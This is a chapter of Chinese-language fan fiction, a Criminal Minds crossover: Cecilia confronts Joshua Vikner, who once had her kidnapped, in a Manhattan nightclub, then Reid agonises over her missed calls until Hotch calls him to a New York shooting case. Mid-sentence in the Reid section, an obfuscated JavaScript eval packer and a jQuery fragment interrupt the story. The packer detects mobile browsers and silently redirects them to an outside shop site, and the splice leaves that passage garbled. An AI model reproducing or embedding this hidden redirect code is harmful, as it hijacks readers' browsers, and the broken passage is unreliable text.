十一点四十七分,曼哈顿最老牌的电音夜店,8K的DJ屏幕铺满了一整面墙,冷调霓虹、流动几何线条与虚化光影画面交替更迭,场内沉而稳的重低音鼓点闷沉沉震颤空气。

    Cecilia在凌晨到来之前推门而入,直奔右侧的扶梯拾阶而上,今天二楼被人包场了,高大壮硕的保镖守在楼梯口,那种审视的目光扫了她一眼,不知道是不是在她那张面无表情透着不悦的脸上看出了熟悉的痕迹,然后什么都没说就让开了。

    Cecilia沿着边缘往最里面的包厢走去,她从高处向下一瞥,深蓝色的灯光从天花板倾泻下来,被不断旋转变换的几何图案切割成无数细碎的光斑,在人脸上、手臂上、酒杯边缘跳来跳去。人群挤在舞池里,肩膀贴着肩膀,手臂举过头顶,在震耳欲聋的节奏里摇晃。

    Cecilia站在一扇挂着黑色天鹅绒帷幕的窄门前,灯光暗到几乎只剩轮廓的房间,Joshua Vikner坐在靠墙的深红色天鹅绒卡座里。

    他穿着一件炭灰色的高领毛衣,袖子挽到小臂中段,手边放着一杯威士忌,杯壁没有水珠,冰已经化了有一阵了。他身边坐着一个穿亮片吊带裙的女人,但她在Cecilia进来的那一刻就起身离开了,像被某种无声的指令调走。

    “你终于来了,甜心。”Vikner忽略了Cecilia在听到他叫她甜心的一瞬间翻的巨大白眼,抬了抬下巴,示意对面的座位,“我很高兴看到你如此信任我,并没有带外人来打扰我们的甜蜜时光。”

    “拜你所赐,我已经很久没有睡过一个好觉了。”Cecilia坐了下来,没有碰桌上那杯提前倒好的酒,“这里简直是对我精神折磨。”

    “oh亲爱的,你真的应该好好放松一下,我以前觉得你像是个老古板,直到前几天我在新闻上看到你在洛克菲勒中心和那个漂亮男孩约会很开心,我以为你会喜欢这样的地方。”

    “我以为你会选在更符合你人设的地方。”Cecilia按了按自己的太阳穴:“比如大学校园,Vikner博士。”

    在说到博士两个字的时候,Cecilia的睫毛略微颤了颤。

    “你以前从不这么叫我,是最近你也拿到博士学位了吗?”

    “那真是让你失望了,我对每一个拥有博士学位的人都会如此称呼,”Cecilia缓缓抬眼,目光平静无波,却有一种居高临下的审视感:“之前不这么称呼只是担心你以为是我对你汲汲营营试图争取爵位却一直没能得到在嘲讽你。”

    Vikner面对她的讽刺反而笑了,他的眼底掠过一丝极淡的、不易察觉的复杂情绪,“你真的很像你妈妈。”

    他的这句话反而让Cecilia直接笑出了声:“你说约我来谈和解,结果是来恶心我的吗?你完全可以像我七岁时那样□□我,我觉得比现在我们非要坐在……”她摊手打量了一下四周,整个房间只有卡座上方那盏小灯亮着,继续说道:“伊拉克的囚犯审问室里简单。”

    Vikner听了她的地狱笑话摇了摇头,试图纠正她的说法,语气像在批改一个细微的语法错误,“你七岁的时候我只是找人带你出去玩,没有人强迫你做任何事,也没有人伤害你,我很难将其称之为是一场绑架。”

    “你的人在半夜把我带走,关在一栋废弃的大楼里,然后向妈妈索要她‘波西米亚丑闻’的位置和密码。她为了救我,破坏电子镣铐的时候割断了手腕经脉,她可是一个画家。这如果不是绑架,那安珀警报都是在报假警。”

    Vikner身体微微前倾,抬手轻抵桌面,姿态松弛淡然,“诚如你所说,你的妈妈是一个画家,她并不像我一样懂经济和政治。”

    Cecilia淡淡地开口:“希/特/勒也是画家。”

    她说这话的时候Vikner刚端起酒杯喝了一小口,闻言他狠狠抿住了唇不让自己失态,在冷调的灯光下,他的脸上没有表情,只有他那只手工雕刻的酒杯反射出一点炫目的光。

    “所以你想怎么样?”Cecilia的耐心即将被耗尽,“找审计来评估一下你接手后集团的营业额增长了多少吗?”

    Vikner的手停在酒杯边沿,指尖轻轻地在杯口一圈圈地旋转,周围的鼓点还在震着,透过地板传到脚底,一下一下,像是某种巨物不知疲倦的心跳。

    “你知道Giada Cabrini想要杀掉你,”Vikner说,声音第一次带上了更有重量的语气,“我只是在帮你的忙而已。”

    “当然啦。”Cecilia点了点头笑了:“通过除掉继承人的方式顺利获得遗产,要是除掉我能够顺利接管集团你肯定毫不犹豫。”

    他手上的动作停住了:“别这么说,你知道我不会这么做的。”

    舞池里的音乐换了一首,节拍变得更密集,像雨点敲在铁皮屋顶上。房间里的光影换了一轮,蓝色褪下去,紫色浮上来。Cecilia的脸在紫光里显得更苍白了一些:“Giada这辈子甚至没进过厨房,连死掉的鸡都没见过。她当然是某天坐在电影院里看了一场《利刃出鞘》灵光一闪想到‘oh我该杀掉我那个该死的妹妹扩大我的遗产份额’,绝对不是被什么变态蛊惑。”

    Vikner靠回椅背,把双手摊在膝盖两侧,但很快他又直起身来,把杯中剩下的威士忌一口喝完,杯子搁在桌上,发出轻微的玻璃碰撞声:“我时常困惑,我和Jamie Moriarty的基因为什么只将美貌遗传给了你,不愿意利用自身的资源的行为在我看来极其愚蠢。”

    “那真是谢天谢地没有把你的秃头遗传给我。”Cecilia已经不想再和这个伪善的男人纠缠下去,她起身,正要迈开步子走向帷幕,却听到Vikner用平淡无波的语气说道,“Cecilia,你知道的,你必须站到我们这一边,别以为你整日和FBI混在一起就让你有选择的余地。你只要和我站在一起,集团就依然属于Jamie Moriarty,别逼我摧毁你身边的每一个人。”

    “你是哪一边?你不过是想要通过控制我来控制集团,别把自己说得那么冠冕堂皇。”她说话的时候脚步不停,夜店里的“动次打次”快把她好久没睡的脑袋里所有思绪震成碎片,她有些恍惚地想,是谁说一边说话一边走路会影响走路的步幅。

    天鹅绒帷幕在她身后荡了一下,像是戏剧不详的开篇。

    Reid把手机屏幕翻了个面扣在桌上,然后他又把它翻过来,然后又扣过去,他从下午回到旅馆到现在已经重复了无数遍这个动作,“重复做同一件事试图得到不同的结果是精神病”,但是他控制不住,屏幕还停留在未接来电通知页。

    书摊开在面前——萨缪尔·贝克特,停留在了《无法称呼的人》的结尾处。他的眼睛落在同一行字上已经过了至少九分钟。那一行说的是:“我无法继续。我会继续。” 他盯着“继续”那个词看了很久,然后伸手把书合上了。

    他没有开灯,拉斯维加斯的夏天让黑暗如同一床厚厚的棉被一样包裹住他,让他感觉有些喘不过气来。

    写字台上那盏小台灯只有四十瓦,灯影照在书的表面,盯久了让他有些晃神。

    Reid告诉自己他在读书,他两个星期只看了五本书。他告诉自己他还有一份请他指导的论文的开题报告要看。他的手指挪过去按在那份报告的封面上,然后,他的手没有动。

    报告在左边,手机在右边,他的手悬在中间。

    然后,他的指尖朝右边偏了过去。

    屏幕上显示3个未接来电,都是她。时间间隔分别是:下午四时十一分;四时零十三分;四时十四分。

    她那个时候到底是以怎样的心情在给他打电话?

    Reid看了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785792|210069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼屏幕上方的时间,已经过了零点。

    Reid站起来,又坐下,然后又站起来走到minibar开了一瓶矿泉水,没喝,端回来放在桌上。

    然后他重新拿起手机,拇指悬在那个绿色的拨号键上方,那枚小绿点像一个没有闭合的句号,一直在等他把它完成。

    说什么?

    Reid在那个绿色的拨号键上方悬着的手开始有点发酸。

    于是他做了另一个决定,他在酒店的便签上打起了草稿。

    “喂,Cecilia,关于你之前打电话的事,我看到了未接来电记录……”他还没写完就把它撕了,纸屑落在垃圾桶里发出和塑料摩擦的声音。

    "喂……是我。”他停在了这里:“我……抱歉。我知道你打了三次。我当时没能接。是因为……”他写到“是因为”后面就写不下去了,笔尖按在纸面上,留下一个小小的墨点。

    他划掉了那一句。

    “喂,我收到你的来电了,你……”他把那个“你”字圈出来。

    然后他把便签都揉了,扔进垃圾桶。

    Reid的目光又回到了屏幕上,他错过了三次,也许第四次不会再打来了。

    结果这个时候手机屏幕忽然亮起来,在空荡的房间里震动声格外响亮,Reid被吓了一大跳,以至于他差点没有看清屏幕上的名字。

    手机的震动让桌面上的那瓶矿泉水泛起一片涟漪。

    “喂。”他听见自己的心跳压在耳膜底下。

    “Reid。”那头传来Hotch沉稳的声音,似乎没有察觉出他的惊魂未定:“抱歉这么晚打扰你。”

    “没关系。”他开口了,声音比他预期的轻,以至于Hotch在那头以为信号不好又叫了一遍他的名字。

    “我……“他的目光落在垃圾桶里,一时有些卡壳,两秒之后他才再次找回了自己的声音:“没关系,我还没有睡。”

    “你有看到纽约的新闻吗?”

    Reid接收到关键词,Hotch不知道为什么电话那头再次沉寂了下来,直到Reid从自己刻意避开的新闻碎片里刨出逻辑关联的词汇,他才再次开口:“嗯,我知道,在地铁站里发生了五起枪击案。”

    他还记得自己看到新闻时的想法:她不会去乘坐地铁的。

    Reid听见Hotch那边敲击键盘的声音,他很少会深夜打搅组员,也很少会这样需要同时进行多项工作。

    Hotch给他简述了案情:“所有案件都发生在纽约,头部中枪,点22口径,没有目击者。”

    Reid几乎条件反射一般地说出了分析:“点22口径的手枪在开枪时会发出152分贝的枪声,纽约的地铁通常都是高于100分贝的,可能在人们根本没有听到枪声的时候不明嫌疑人就已经离开现场了。”

    Hotch纠正了一句:“案件不止发生在地铁站里。”

    Reid闻言猛地站了起来,Hotch听到椅子在地面上滑动的声音。

    他有些着急地确认:“被害人之间有联系吗?听起来像是□□寻仇,是□□寻仇吗?”

    Hotch不知道他为什么忽然激动起来:“目前没有找到联系,从现在掌握的信息来看可能是随机挑选受害者,你可以明天一早乘坐最早的航班到纽约吗?具体的情况我们到现场再汇总,目前我也还没看到案件资料。”

    “好,好的。”Reid似乎松了一口气,他甚至没有注意到一向稳重的Hotch会反常地在未接到当地警局正式邀请前就决定要BAU前往。

    Hotch对这个案子格外关心,他说了一句“明天见”后就挂断了电话。

    四十瓦的灯光照着Reid的侧脸,他的影子拉长在身后的地板上,他只是思考了一秒钟就决定开始收拾所有行李。

    他打算今晚就出发。